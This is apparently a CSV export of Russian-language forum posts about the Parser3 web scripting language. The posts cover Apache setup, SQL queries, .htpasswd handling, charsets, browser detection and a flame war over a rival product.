"7465","Дело прояснилос. Проблема была в хостинге. В апаче установили модуль для уплотнения передаваемых файлов, он и глючил. После его отключения все наладилось. \
\
Спасибо за ответ."
"7467","http://spearance.tura.ru/parser3/gallery/text/index.txt"
"7468","Может быть кому на будующиее \
    $ne1[^table::sql{\
      Select SertCode, SertNumber, [color=\"red\"]REPLACE(SertName,\"\\0\",\" \") as SertName[/color], SertDateHome, SertDateEnd  \
         from sert where \
         ${column} regexp '${form:search}'\
    }]\
"
"7469","смотрим код и видим, что у тебя определяется $cols, если есть кука, если нету - то $cols не определена, т.е. в выражениях она равна 0\
\
идем далее, строка 51: \
$cell_width[^eval(100\\$cols)%]\
\
и что ты хотел получить тут, если $cols = 0? (это выражение)\
\
Так что мораль:\
1. если неопределены куки, а значения нужны - присваивай default значения\
\
2. когда что-то не работает - упрощай код, чтобы локализировать ошибку. если бы ты выкинул код, который далее - ты увидел бы, что проблема не в куках\
\
3. настрой нормальную выдачу debug info: тогда будешь видеть где появляется ошибка."
"7471","А вот почта у вас всетаки работает нестабильно..."
"7472","но часть сетей закрыта как спамеры - всякие beep.ru и т.д."
"7473","Извините, что вклиниваюсь в беседу почтенных донов...\
\
http://asdgray.penza.net/super/\
\
Основные технические данные указаны в конце исходника. На всякий случай сделана подстановка MSIE-required кода, если броузер -- MSIE for Win32"
"7474","у меня. когда нажимаешь вставить таблицу, ошибка и она не вставляется :("
"7475","в какие моменты она выдается?\
Я положил его в конфиг. файл сайта в /cgi-bin/ пытался сделать ошибку, чтобы он выскочил, но так ничего и не получилось"
"7476","И уж точно я не спамер... Я отправил около 4 сообщений Мише, а дошло как я понял только 1. Наш админ посмотрел и сказал, что это ваш почтовый сервак отлуп дает... Особенно это действует на прикрепленные *.txt файлы."
"7477","На том форуме их никто читать не будет. Мне кажется, тот форум есть только ради его архива, а сейчас вопросы по всем версиям Парсера задавать лучше здесь. У меня у самого один проект живет и немного модифицируется на втором Парсере, а новые -- на третьем."
"7478","Выяснилось, что в документации по установке Parser'а как модуля для apache вкралась ошибка.\
\
Вот как, следуя документации, записываются необходимые настройки apache:\
[code]\
LoadModule parser3_module ApacheModuleParser3.dll\
...\
AddModule mod_parser3.C \
...\
AddHandler parsed-html html \
[/code]\
\
Тогда как в исходниках, в\
[code]\
parser-3.0.0005\\src\\targets\\apache13\\mod_parser3.C \
[/code]\
\
Определяется следующая структура:\
[code]\
static const handler_rec parser_handlers[] =\
{\
    {\"parser3-handler\", parser_handler},\
    {NULL}\
};\
[/code]\
\
То есть модуль определаяет хандлер parser3-handler, а никак не parsed-html.\
\
Поэтому:\
[code]\
...\
AddHandler parser3_module html \
...\
[/code]"
"7479","из доки :\
----------\
Если запрос не нашел подходящего узла, выдается void. Если запрос выдал больше, чем один узел, выдается ошибка xml-типа. \
----------\
и как его(void) сравнивать ?\
^if($element eq $void)\
\
не подходит ..."
"7480","Может кому потребуется...\
\
Сегодня мне потребовалось делать ЭТО с достаточно большой таблицей (~60000 записей, pk)\
\
Собственно помня, что в доке по MySQL дается такая инормация (да и на форуме это не раз упоминалось):\
[quote]\
This is useful to get a random sample of a set SELECT * FROM table1,table2 WHERE a=b AND c<d ORDER BY RAND() LIMIT 1000\
[/quote]\
я не долго думая написал аналогично. КакогО же было мое удивление, когда запрос выполнялся несколько секунд...\
\
explain показал:\
[code]\
| table | ALL | 60236 | Using temporary; Using filesort |\
[/code]\
\
Переписал так:\
[code]\
$cnt(^int:sql{SELECT CEILING(RAND()*COUNT(*)) FROM table}[$.default{0}])\
$rec[^table::sql{SELECT field_list FROM table}[$.offset($cnt)$.limit(1)]]\
[/code]\
explain стал показывать, что будут использоваться индексы и все залетало...\
\
Начал читать более внимательно доку по MySQL:\
[quote]\
You can't use a column with RAND() values in an ORDER BY clause, because [b]ORDER BY would evaluate the column multiple times[/b].  In MySQL Version 3.23, you can, however, do: SELECT * FROM table_name ORDER BY RAND()\
[/quote]\
\
Так-же нашел упоминание об ALTER TABLE ... ORDER BY col1, col2... которое раньше почему-то упустил (это стОит делать после изменений в табличке если в основном данные достаются из нее, и обычно сортируются именно в этом порядке)\
\
В общем век живи - век учись, все равно дураком помрешь..."
"7481","md5 не шифрует пароль, а вычисляет его контрольную сумму.\
теоретически перебором если знаешь контрольную сумму можно найти пароль, а на практике это маловероятно."
"7483","http://parser.ru/docs/lang/dateclass.htm\
\
абзац про \"Диапазон возможных значений\"..."
"7484","./parser3.conf(3): 'windows-1251' unknown charset  type: parser.runtime\
\
подскажите, что не так? \
/Думаю с главным конфигурационным файлом что то не так/.. Какой нужен и где брать..."
"7499","хех! правда глаза режет??"
"7501","Макс, скажи а обсуждение, здоровое обсуждение замечу, это мусор?\
Если я столкнулась с действительной проблемой, и не вытерпела такого, высказав мнение - это мусор? хорошо, согласна, про WTK можно было умолчать.\
\
....но когда ты понимаешь что из скрипта выполняемого через exec ни чего нельзя сделать, как я поняла Yury_XTC столкнулся именно с этой проблемой, и ты имеешь половую жизнь с 9 до 24 из-за того что парсер  не позволяет интегрироваться с чем-либо написанным не по его правилам - это нормально? это не мусор?\
кстати \"не по его правилам\" читай как \"по RFC\"\
\
Йеэх, братцы. только и остаётся сказать...\
Я когда писала то сообщение я думала что будет продуктивная беседа, и у меня оставалось немного надежды что я где-то недопоняла что-то. Что мои проблемы с парсером из-за того что я не увидела путь проще для реализации какой-либо фишки.\
В итоге осталось всхлипнуть, поправить потёкшую тушь и сказать что-нибудь банальное типа \"все вы мужики такие\"\
Йеэх, братцы...."
"7502","Начну с того, что всем присутствующим надоели уже религиозные войны PHP, Perl vs Parser... Тем более, когда их затевают люди, которые не удосужились почитать доку и приложить голову. \
\
Теперь о частностях.\
Куку нельзя выставить из вложенного скрипта? Покажите мне любой другой обработчик который это  позволяет.\
PATH_INFO кривой? А что вы хотите от CGI-handler'а?!\
Да и проблемы у означенного Yury_XTC со вторым парсером. И тут мы признаем, что он \"слабоват\", но и на нем было сделано столько, что хватило на пару страниц нашего портфолио.\
\
А вместо \"размазывания туши\" лучше задать конкретный вопрос - мы стараемся не посылать даже особых кретинов (бывают и такие, к счастью - редко).\
\
Вопросы?"
"7503","Уважаемая MaryByte.\
IMHO \
Поддержка пасера на уровне (у платных программ такой поддершки нет). Я сужу про себя. После того как я случайно наткнулся на парсер (недели две назад). У меня были проблемы с установкой решили(благодаря PAF'у). И по мелочам достаточно быстро отвечают.\
\
P.S. Еще раз хочу сказать спасибо разработчикам."
"7504","[quote]\
Макс, скажи а обсуждение, здоровое обсуждение замечу, это мусор?\
[/quote]\
\
Здоровое обсуждение, ИМХО, это когда человек четко обозначает свои цели и позицию. Когда конкретно формулирует проблему, когда его коммуникативная деятельность не причиняет дискомфорта другим участникам \"обсуждения\". Когда инициатор \"обсуждения\" не тратит их время и прочие ресурсы на заведомо бесполезные действия. \
\
Когда же человек заявляет, что-то типа - \"я еще до выхода P^, понял что он полная фигня\"[color=blue]*[/color], то мне остается только призвать к игнору данной информации, как заведомо бесполезной. \
\
Ни одной [i]здоровой[/i] мысли от персонажей [color=gray]MaryByte[/color] и [color=gray]pm[/color] на этом форуме я не видел.\
Так же не видел ни одного [i]конкретного[/i] вопроса или предложения вышеозначенных персон. \
Если таковые были - текст в студию.\
\
А кто что думал, когда писал - это вопрос десятый.\
Если человек ожидает продуктивной беседы заявляя что \"парсер ничего не умеет\"[color=blue]*[/color] и \"раздули рекламой, а на деле ерунда\"[color=blue]*[/color], то ему придется продуктивно обсуждать этот вопрос в другом месте.\
\
Нужно просто ответить на вопрос - \"Чего я хочу?\", и все встанет на свои места. \
\
[color=blue]*[/color]- сорри, цитаты не совсем точные - по памяти, т.к. пост удален.\
"
"7505","http://www.parser.ru/download/freebsd/"
"7506","Вот что у меня\
\
^connect[$connect_string]{ \
   $usdf[^table::sql{select \
      date, time, rate_cb, rate_bay, rate_seil\
   from \
      rate\
   where \
      date <='$date' and\
   order by date desc, time desc\
   limit 7\
   }]}\
\
$cbr[^usdf.hash[date]]\
\
Дело в том что в таблице 7 записей, а в хеше 6 ключей?\
Заранее спасибо"
"7507","Написал как в примере:\
\
(номера строк)\
...\
37  $tablepwd[^table::load[/clients/.htpasswd]]\
38  ^tablepwd.append{$login:^math:crypt[$password;^$apr1^$]}\
39  ^tablepwd.save[/clients/.htpasswd]\
...\
\
\
Выдает:\
(38:25): parse error, expecting `STRING' or `'['' or `'$''\
\
Ничего не понимаю :("
"7508","типа так: ${login}"
"7510","Т.е. у тебя в таблице две записи с одинаковой датой. Ключ должен быть уникальным.\
\
Более того, в новой версии парсера (не знаю какой номер у нее будет) при этом будет сообщаться об ошибке (можно отключить)"
"7511","Как сделать так, что бы парсер показывал /404.html если введён не верный url? Раньше он сам её показывал, а теперь пишет Unhandled Exception. Как быть?"
"7512","На этом же месте:\
\
(void) not a method or junction, can not call it\
[b]crypt[/b]"
"7514","http://ultraedit.com/"
"7515","$path[/clients/.htpasswd]\
\
$tablepwd[^table::load[$path]]\
^tablepwd.append{${login}:^math:crypt[$password;^$apr1^$]}\
^tablepwd.save[$path]"
"7516","Я не буду ни чего ни с чем сравнивать. Просто задам вопрос по архитектуре.\
Парсер - это еще один язык программирования встраеваемый в html или целосткая система создания сайта?\
Если просто еще один язык, какие падстройки на нем есть? Какие средства интеграции независимо разработанных модулей он предоставляет?\
Если это все же целостная система, то какие средства в ней есть для разделения логики, оформления и контента? Какие средства обеспечения повторного использования элементов оформления и структурных решений?\
\
Надеюсь вопросы достаточно конкретны?\
\
В документацию я вчитываться не буду - мотивации нет. Я давно отошел от web-программрования и старые проекты поддерживаю в основном \"из любви к искусству\".\
Тем не мение, если я увижу осмысленные ответы на свои вопросы, я признаю что зря судил о продукте по названию. Пока же остаюсь при своем мнении.\
\
PS С естественным языком у меня плохо, а прогонять содержимое формы через ispell мне лень. Так что простите за опечатки и граматические ошибки...\
\
PSS Парсеровцы! Поправьте, наконец, кодировку письма! Или хотя бы в заголовке свою укажите. Письма из форума прочитать невозможно."
"7518","Меня только одно в нем не устраивает, что нет нормальной перекодировки текста.\
Я в основном все правлю непосредственно на серваке, поэтому мне приходится работать с различными кодировками, и иметь возможность свободно их переключать. А все навороты, вроде кнопок вставки <b></b> уверен только затрудняют работу. Уже больше года как я пользуюсь TextEditor и проблем не знаю. Он не проверяет парности скобок и не подсвечивает теги, самое то для нормального кодера."
"7519","Если-бы он не работал нормально с кодировками я его давно-бы выкинул :)\
\
А подсветки синтаксиса, парность скобок - это приятные добавки.\
\
В своем корневом сообщении я не призывал переходить на него, я просто сообщил тем, кто его юзает, что он обновился :) \
\
Так что давайте не будем в очередной раз спорить какой редактор лучше, это уже обсасывалось тут не раз :)))"
"7520","Спасибо"
"7521","[code]\
$login[mmm]\
$password[pass]\
$path[t.txt]\
\
$tablepwd[^table::create{misha:123}]\
^tablepwd.append{${login}:^math:crypt[$password;^$apr1^$]}\
^tablepwd.save[$path]\
[/code]\
\
немного изменил код, чтобы не ковыряться с файликами.\
\
какая у тебя версия parser3?"
"7522","Дело в том что мне надо послать загаловки на подобии, того как это делается в PHP.\
\
Header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");\
Header(\"Last-Modified: \".gmdate(\"D, d M Y H:i:s\").\"GMT\");\
Header(\"Cache-Control: no-cache, must-revalidate\");\
Header(\"Pragma: no-cache\");\
\
таким образом я могу некоторым \"слишком умным\" proxy-серверам, запретить кэшировать часто меняющиеся страницы.\
\
А как это сделать на Парсере?"
"7523","> Парсер - это еще один язык программирования встраеваемый в html или целосткая система создания сайта?\
\
Это не то и не другое.\
\
> Какие средства интеграции независимо разработанных модулей он предоставляет?\
\
Что ты подразумеваешь под независимо разработанными модулями? Если это новые возможности парсера - исходники открыты и дока по ним есть, бери и пиши расширения, правда при этом для начала нужно неплохо знать C++\
\
> Если это все же целостная система, то какие средства в ней есть для разделения логики, оформления и контента?\
\
XML\
\
> Какие средства обеспечения повторного использования элементов оформления и структурных решений?\
\
Поддержка ОО стиля программирования."
"7524","Например в форуме выдается:\
$response:expires[Fri, 23 Mar 2001 09:32:23 GMT]\
\
См. тут:\
http://parser.ru/docs/lang/responseclass.htm"
"7525","Ключевые слова - класс response"
"7527","В форуме это недавно обсуждалось.\
exception.type == file.missing, exception.source == user request"
"7528","> Да хранит Господь Пафа!(и всех, кто к этому причастен)\
\
То есть Паф'овых  папу с мамой? Ты их имел в виду? :)"
"7529","То есть Паф'овых  папу с мамой? Ты их имел в виду? :)"
"7530","> Это не то и не другое.\
Тогда что? Уникальный и неповторимый в своем роде продукт?\
\
> исходники открыты и дока по ним есть\
Логично. Только если я хочу посчитать количество файлов в доректории я просто набираю ls | wc -l, а не лезу в исходники ядра и добавляю там новую функцию.\
\
Уточню вопрос, раз слово интеграция оказалось слишком сложным.\
Пусть двое моих приятелей написали на парсере крутые продукты. Один, скажем, форум, а второй кустомизацию оформления под конкретного пользователя. На сколько мне сложно будет объединить эти продукты и получить форум с кустомизированным оформлением?\
\
> XML\
Достойный ответ! XML может все!\
(Вспоминается анекдот, про то что общего между XML и подростковым сексом....)\
И все-таки, что значит XML применительно к парсеру?\
Парсер имеет встроенную поддержку DOM? И много верстальщиков ее смогли освоить?\
Или выход парсера можно направить на XSLT-процессор? Можно, я не сомневаюсь. Только роль парсера мне здесь не очень понятна.\
\
> Поддержка ОО стиля программирования.\
ООП тоже может все.....\
И все-таки, если верстальщик сверстал общий вид старниц, может ли он потом объявить что этот шаблон используется поумолчанию для всех страниц?\
Или он нарисовал красивую менюшку - может он потом в нее подставлять разные данные?\
Или он будет отдавать сверстанный html программисту с просьбой преварвтить его в класс или функцию?"
"7531","может еще какие-нибудь методы есть."
"7532","Какое хошь поле в заголовке можешь перезаписать."
"7533","1. Это альтернативный продукт ;-) Заточен под работу с текстовыми данными.\
Да, встроен в html, но при этом не требует дополнительной работы с внешними данными на предмет их очитски от \"нежелательных символов\" типа <, > или кавычек с амперсандами.\
\
2. А мне чтобы посчитать число файлов достаточно сделать ^file:list[] + ^table.count[] ;-)\
\
2а. Если они оформили свои наработки, как пользовательские классы и известен интерфейс этих классов (ну, и они не противоречат друг другу) - пожалуйста - комбинируй.\
\
3. DOM реализован (тут лучше посмотреть доку). Трансформер встроен. Можно и на внешний трансформер направить.\
\
4. Может использовать и как шаблон и как класс. Разница в \"создании\" минорна. А лучше этому верстальщику написать XSL ;-)"
"7534","> Тогда что? Уникальный и неповторимый в своем роде продукт?\
\
см. home page внизу, текст далее и маленько подумай.\
\
> Логично. Только если я хочу посчитать количество файлов в доректории я просто набираю ls | wc -l, а не лезу в исходники ядра и добавляю там новую функцию.\
\
см. ^file:list и немного шевели мозгами.\
\
> Пусть двое моих приятелей написали на парсере крутые продукты. Один, скажем, форум, а второй кустомизацию оформления под конкретного пользователя. На сколько мне сложно будет объединить эти продукты и получить форум с кустомизированным оформлением?\
\
Все зависит от того, КАК они это написали. Тут общего рецепта нет. Если написали грамотно то это очень просто соединить.\
\
> И все-таки, что значит XML применительно к парсеру? Парсер имеет встроенную поддержку DOM?\
\
Значит что парсер подерживает XSLT преобразование и DOM конечно же тоже. Где ты ещё найдешь такой маленький, работающий практически у любого хостера на тарифном плане с разрешенными своими CGI, имеющий единый и очень простой интерфейс подключения к БД и свой мощный ООП язык, многоплатформенный XSLT процессор? Я например такого не видел.\
\
> И много верстальщиков ее смогли освоить?\
\
Ты хочешь на ёлку влезть и жопу не ободрать. За удобства надо платить, никто не заставляет использовать XML/XSLT - можно использовать средства самого языка парсера.\
\
> Или выход парсера можно направить на XSLT-процессор?\
\
Да\
\
> Только роль парсера мне здесь не очень понятна.\
\
Создать на лету XML из разных источников (БД, файлы) и провести для него XSLT преобразование.\
\
> И все-таки, если верстальщик сверстал общий вид старниц, может ли он потом объявить что этот шаблон используется поумолчанию для всех страниц?\
\
Да\
\
> Или он нарисовал красивую менюшку - может он потом в нее подставлять разные данные?\
\
Да\
\
Или он будет отдавать сверстанный html программисту с просьбой преварвтить его в класс или функцию?\
\
Нет"
"7536","Делаю новостной раздел: помогите решить пару проблем.\
\
1. Как реализовать новостной блок для главной страницы (начало новости -> подробнее)? \
\
Я пытался сделать так: в базе таблица news c полями id, date, header, body и posting; вытаскивается только posting.\
\
2. В \"модераторской\" форме добавил <textarea> для posting, но тут возникла еще одна проблемка: в базе я сделал posting = varchar(255), чтобы не было возможнсости ввести больше чем нужно. Если человек вводит больше символов, то выводится соответсвующая ошибка.\
ЧТО ДЕЛАТЬ? \
\
У <textarea> нет атрибута maxlength.\
\
3. Как фильтровать отправляемые в базу данные на наличие тегов, кроме <b> и <i>?\
\
С уважением,\
Бауржан.\
"
"7537","1. и? в чем проблема? что такое posting?\
\
2. \
- можешь повесить js на изменение сдержимого формы и предупреждать того, кто вводит, что данные будут обрезаны, т.к. он превысил лимит...\
\
- при добавлении в БД делаешь ^form:text.left(255)\
\
3. зачем? если таки надо - match... читай в примерах про taint/untaint и в копилке регулярных выражений про замены..."
"7538","только никак у меня не получается сделать &#287;еди&#287;ект по 404-ой ошибке! Сделал, как описАно на фо&#287;уме (п&#287;ежде, чем написАть &#305;тот пост, я пе&#287;е&#287;ыл фо&#287;ум), а именно\
[code]\
@unhandled_exception_debug[exception;stack]\
^if($exception.type eq 'file.missing' && $exception.file eq 'user-request'){\
	$response:location[$env:SERVER_NAME/error.html]\
}{\
^fatal_error[Unhandled Exception (Debug);\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
}\
[/code]\
а б&#287;аузе&#287; &#287;угается обычным матом - мол, нету такого файла ну и все в &#305;том &#287;оде... Может я где не то сделал? Я понима&#351;, что &#305;тот воп&#287;ос обсосан неоднок&#287;атно, но мне &#305;то все не помогло. \
Мише - доку п&#287;о &#305;то пе&#287;ечел вс&#351; - ан не &#287;аботает! Поможете?\
\
П. С. Се&#287;ве&#287; у меня Апач, но пользоваться . хтаксес-ом не хочу - хоче сделать на Па&#287;се&#287;е - для меня &#305;то дело п&#287;инципа...:)"
"7539","Хм... Столкнутся-то я столкнулся... Решил кстати отодвинув Парсер в сторону...\
\
Вообще забавно смотреть на это всё... Я долго молчал не желая ввязываться в \"религиозные войны\" устраивая \"дешёвый пи*ар\" с \"провокациями\" поочерёдно... (с) сами знаете чьи.\
Да и времени особо нет. Но вот не выдержал. :))))\
\
То что я и XTC @ wtk.ru это один человек - труда не составит выяснить, так же как и то что я имею отношение к WTK. Это для для справки ,)\
Помоему как _лично_ я понял, Mary вы ошибаетесь в том что не поняли позиционирование продуктов. Я не хочу обидеть Парсеровцев (хотя в некоторых местах мнений высказанных в первом месе я согласен, хотя стоило бы сказать подробнее) - но как мне показалось вторая версия на которой сделан сайт в который я интегрировал проект написаный на WTK, больше ориентирован на начинающих программеров или даже на продвинутых юзверей (поправьте если не прав). Программер для реализации сложного проекта явно не возьмёт Парсер. Вот тут я могу аки кулик похвалить своё болото и сказать что програмеру WTK ближе. Он не закрыт. Но даже тут я не думаю что будет взят за основу тот же WTK... Иначе бы не было бы столько \"обработчиков шаблонов\" ,))\
Подчеркну что я видел только _вторую_ версию. \
\
# далее чистый флейм\
\
Возможно то что написано в ответ pm действительно так и есть, и Mary действительно девушка, но статистика к сожалению для вас господа не вашу сторону. Я знаю что переходили с Парсера на WTK. Сейчас могу назвать только www.audicenter.ru потому что даже этот про сайт я не могу сказать о степени его допеределанности. Думаю значёк Телетайпа многое объясняет. Впрочем как и то что он переделан в dot....\
А вот случаи обратного перехода мне не известны... есть такие?\
Все кто знает что такое WTK остаются на нём, да же попав в чужой монастырь внедряют идеи полученные при изучении. Да господа WTK это школа.\
\
--\
ЗЫ Как мне кажется для тех кто хочет продолжить сию дискуссию пусть даже и якобы провакационную как заметили тут некоторые с _вашей_ стороны надо познакомится с нашим продуктом... А нам соответственно с Парсером разных версий...\
для того чтобы дискуссия стала предметной... "
"7540","На счет Textarea несложно, после submit нужно организовать проверку количества символов, а на счет доп. фильтрации тегов читай http://www.parser.ru/examples/regexp/"
"7542","Уже скачал ;-) На досуге дома поиграюсь. Пока ничего не скажу - не смотрел, но то, что на самом сайте нет описания/доки (хотя бы для ознакомления) сильно напрягает."
"7544","Есть... Но я честно признаться не имею времени... \
Дока почти дописана, но кое-чего не хватает... и поэтому не выложена до сих пор, плюс то что на сайте это WTK R3 v0.04 а готова v0.05 \
но опять я посыпаю голову пеплом - не готова дока по языку, концепции, API и прочее... есть только старые и/или черновики\
\
Могу выслать часным порядком..."
"7545","1) иди на parser2.parser.ru/examples/ и смотри как сделан раздел новостей - тут главное понять идею\
\
2) а - повесить предупреждение\
б - \"обрезать\" как сказал Миша\
\
3) смотри мишин постинг"
"7550","Честно говоря я не рекомендую версию, выложенную для скачивания.\
Там была неудасная попытка сделать гибкий инсталятор, в результате которой что бы заработало нужен хороший напильник.\
По моему все разработчики (кроме автора дистрибутива, но это отдельная история) просто копируют базовый сайт, с допиливанием под конкретную конфигурацию.\
В общем пиарить такой продукт рано.\
Я постораюсь завтра закустить тектовую версию наиболее продвинутой ветки и дам здесь ссылку.\
На данном этапе основные функции wtk доступны через web-интерфейс. Без webа реально воспользоваться только \"процесором шаблонов\" - подсистемой wtk. Все остальное сейчас делается через базу данных, в которую ручками лезть не рекомендуется."
"7551","Надеюсь Юра меня простит, но перед чтением его документации, я бы рекомендовал почитать архитектурный документ (http://www.wtk.ru/pm/wtk/wtk.html). Степень его проработанности значительно ниже, чем Юриной документации (я бы сказал, что степень готовности порядка 30%). Но Юра слишком углубляется в детали и мало раскрывает суть. Человеку со стороны может показаться что это просто библиотека работы с шаблонами, да еще очень приминивная.\
А вот для уже работавшими с wtk, эта документация как раз подходит - мне таки пришлось сайтик делать, я туда по синтаксису часто заглядывал :-))))."
"7552","эээ... ты не совсем прав - я чуть выше говорил уже и тебе лично тоже:\
в конечном итоге будет дока по концепции (почему бы тебе не написать её? мне значительно легче будет) - от \"А шо це такэ?\" до concept на следующие версии, дока по языку, дока по модулям и API, cookbook и чего-нить ещё... наверное...\
вот.... и читать наверное надо будет в том порядке в котором я перечислил...\
"
"7554","...и на форуме почитать в основном твои посты... полезно"
"7555","Есть страничка в директории, защищенной паролем в .htpasswd\
Если в адресной строке ее вызвать - появится окошечко с запросом логина и пароля для аутентификации. \
\
А вот можно ли устроить эту же самую аутентификацию через форму? Т.е. проверку переданных значений методом POST."
"7557","Многие разработчики сталкивались с проблемой защиты кода, например, когда заказчику отдается готовый продукт. Есть масса триков для того, чтобы сделать код скриптового языка не читаемым. \
Но было бы просто здорово, если бы функция защиты была бы встроена в интерпретатор. Причем, полагаю, что многих бы устроило некоторое падение производительности в случае использования шифрования, и необязательно слишком высокий уровень защиты – достаточно, чтобы код было невозможно легко модифицировать (читай – убрать защиту от несанкционированного коприрования...). \
\
Т.е. идея такая -> небольшая утилита шифрующая код, и в строенный в интерпретатор дешифратор опознающий шифрованные файл по сигнатуре.\
\
Возможно, что я изобретаю велосипед, и если есть уже опробованное решение данной проблемы, буду очень рад познакомиться с ним.\
"
"7558","Еще одна проблема: получить из HTTP_AGENT понятные для человека данные, т.к. единого формата которому бы следовали производители браузеров нет (или я  не прав?).\
Может есть у кого-нибудь есть идея - как решить эту задачу?\
(получение хеша - $agent, в котором ключи – name, version, os, etc...)\
"
"7559","Относительно недавно нашел очень и очень интересный  продукт под названием [url=\"http://www.projectmoto.org/\"]Moto[/url]. \
\
Основное преимущество -- это как раз возможность закрытия исходных кодов, при этом без потери производительности.\
\
Moto - это язык скриптования, работающий в двух режимах.\
\
1-й режим: компиляция всех Moto-скриптов проекта в  apache-модуль. (Происходит полная интерпритация Moto-скриптов в код на C!).\
Да, все страницы, все необходимые библиотеки в одном файле! \
При этом продукт работает со сногшибательной производительностью и низким потреблением памяти.\
Исходные коды вашего проекта закрыты, продукт может быть легко размещен.\
\
2-й  режим: это обычная итерпритация Moto-скриптов. В этом случае -- небольшая потеря производительности.\
\
Moto является объектно-ориентированным языком. Синтаксис ОЧЕНЬ похож (если не совсем) на JSP/Java.\
\
Среди достоинств -- встроенная поддерка сессий, контекста приложения (возможность использовать общую память -- shared memory)).\
Конечно, Open Source.\
\
Недостатки. Работает только под Linux/Solaris/FreeBSD. Под Win32/Cygwin -- не идет совсем -- вопрос архитектуры. И исключительно под Apache.\
(Не совсем устойчиво работает под FreeBSD -- проверено, намаялся).\
\
ОЧЕНЬ небольшое количество библиотек: нет, хотя бы, поддержки XML/XSLT, GD, SMTP, с БД не всё гладко.\
\
\
У Парсера МНОГО плюсов. Поэтому я останавливаюсь на нём.\
;)"
"7560","Это дело бесполезное. Особого смысла в нём нет. Версии меняются каждый день. Вчера в AOL for MAC OS X был встроен ie, сегодня gecko. Netscape4 и netscape7 не имеют ничего общего, кроме названия. ;-) \
\
Строку можно получить так: $env:HTTP_USER_AGENT . После этого можно делать с ней всё что хочешь. ;-)"
"7561","Вышли обновлённые версии Апача. ;-) \
http://httpd.apache.org/\
http://www.apache.org/dist/httpd/"
"7562","[url=\"/forum/?id=5902\"]* вот как пишу я, проблем не замечал. ;-), Constantine [30.08 03:16][/url]. \
З. Ы. Поиск рулит! ;-) "
"7563","Хотелось бы знать чем пользуются господа из студии Артемия Лебедева, хотя скорее всего ответ будет \"имприматор\", а FTP доступа они вообще не дают. Но это мое IMHO.\
Но как быть в тех случаях, когда распространяешь не весь пакет администрирования, а к примеру только \"редактор новостей\"?\
Можно конечно код, в SQL размещать, но это не самое хорошее решение.\
В общем, как и все жду советов..."
"7564","Передо мной встала вот такая вот задача : \
есть дб-таблица, в которой хранятся записи. Есть там ещё поле с датой. Теперь мне надо вытягивать сообщения по датее. НО дело в том что сообщения могут быть несколько за один день и мне они нужны в виде\
Дата\
список сообщений за этот день\
Дата\
список сообщений за этот день\
Дата\
список сообщений за этот день\
и так далее\
Вот здесь я и встал.\
Как я понял надо сначала вытянуть дни, в которые были сделаны постинги, потом вытянуть все постинги по этим дням типа $таблица с днями, потом её ^меню, и в ^таблица. меню{создать $таблицу с постингами за этот день и перебрать ее}. Только это не очень производительно, если учитывать то, что таблица с днями не должна содержать дублирующих значений. Сначала придется её перебрать - а это ещё куча кода. Может кто подскажет решение оптимальнее моего?"
"7568","Посмотрел внизу home page - там написано что язык.\
Почитал документацию. С момента последнего чтения (пару лет назад) вы действительно ушли далеко в перед.\
Наследование у вас сделано достаточно красиво (использование auto.p). Только я не понял, можно ли реализовать множественное наследование (признаюсь, читал бегло)? И еще, жесткая привязка наследования к пути из url может оказаться неудобна. На опыте АртПаблишера (практически wtk, с урезанными возможностями наследования и попцово раскрашенное) - часто приходится создавать промежуточные  директории который приходится вставлять в url. Почти всегда такая директория вставлялась после первой страници. Как вы решаете эту проблему?\
То, что вы многое объединяете в один текстовый файл иногда удобно. Но выделить какой-то элемент для управления контент-менеджером обычно требует некоторого программирования.\
По моему отношения программиста и верстальщика вас не волновали - возможно все ваши программисты сильны в html, а верстальшики в ООП :-).\
При первом взгляде поддержка XML мне показалась несколько неестественной.\
Реализацию я не смотрел (и в ближайшее время врядли буду). Судя по отзывам - сложно интегрироваться со сторонними продуктами.\
Кстати, какие БД вы поддерживаете - я нашел упоминание MySQL и mssql. На сколько работа с БД инкапсулированна.\
\
И все-таки название не слишком удачное :-))))"
"7569","Про HTTP_USER_AGENT я разумеется знаю, а нужно это для того, чтобы выдавать клиенту код, в зависимости от браузера :)\
\
Вобщем-то проблема решаема так - regexp для всех нужных мне браузеров, остальное - дефолт...\
\
Но у меня тяга к общему решению проблемы - вот и написал, может кто что придумал :)"
"7570","Вобщем дело в следущем:\
Ни один из моих браузеров не понимает сразу кодировку в которой ему отдан документ (ему почемуто кажется что это KOI8-U, хотя причем здесь украина :), меняю на кодировку в которой документ на самом деле (у меня вин1251), все понимает, но уже при обновлении страницы опять забывает :(\
 Я прописал ему и responce:charset,и charsetdisable on поставил, файлы кодировок у меня есть, а он все равно глючит.\
 Объясните что еще ему надо ?"
"7571","$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]"
"7572","[code]\
@detectBrowser[][ua;ver]\
$ua[$env:HTTP_USER_AGENT]\
^if(^ua.match[mac][i]){\
	$MAIN:platform[mac]\
}{\
	^if(^ua.match[win][i]){\
		$MAIN:platform[win]\
	}{\
		$MAIN:platform[unix]\
	}\
}\
\
^if(^ua.match[opera][i]){\
	$MAIN:browser[opera]\
	$ver[^ua.match[opera.(\\d+)(\\.(\\d+))?][i]]\
	$MAIN:browser_ver(^ver.1.int(0))\
	$MAIN:browser_subver(^ver.3.int(0))\
}{\
	^if(^ua.match[msie][i]){\
		$MAIN:browser[ie]\
		$ver[^ua.match[msie.(\\d+)(\\.(\\d+))?][i]]\
		$MAIN:browser_ver(^ver.1.int(0))\
		$MAIN:browser_subver(^ver.3.int(0))\
		^if($MAIN:browser_ver == 5 && $MAIN:browser_subver == 5){\
			$MAIN:browser_ver(5.5)\
		}\
	}{\
		^if(^ua.match[mozilla][i]){\
			$MAIN:browser[nn]\
			$ver[^ua.match[mozilla.(\\d+)(\\.(\\d+))?][i]]\
			$MAIN:browser_ver(^ver.1.int(0))\
			$MAIN:browser_subver(^ver.3.int(0))\
		}{\
			$MAIN:browser[other]\
			$MAIN:browser_ver(0)\
			$MAIN:browser_subver(0)\
		}\
	}\
}\
$result[]\
#end @detectBrowser[]\
\
[/code]"
"7574","в методе @auto[]?\
а $responce:charset определен ДО этого кода?"
"7577","Множественное наследование возможно. Просто указываешь нужный  BASE.\
\
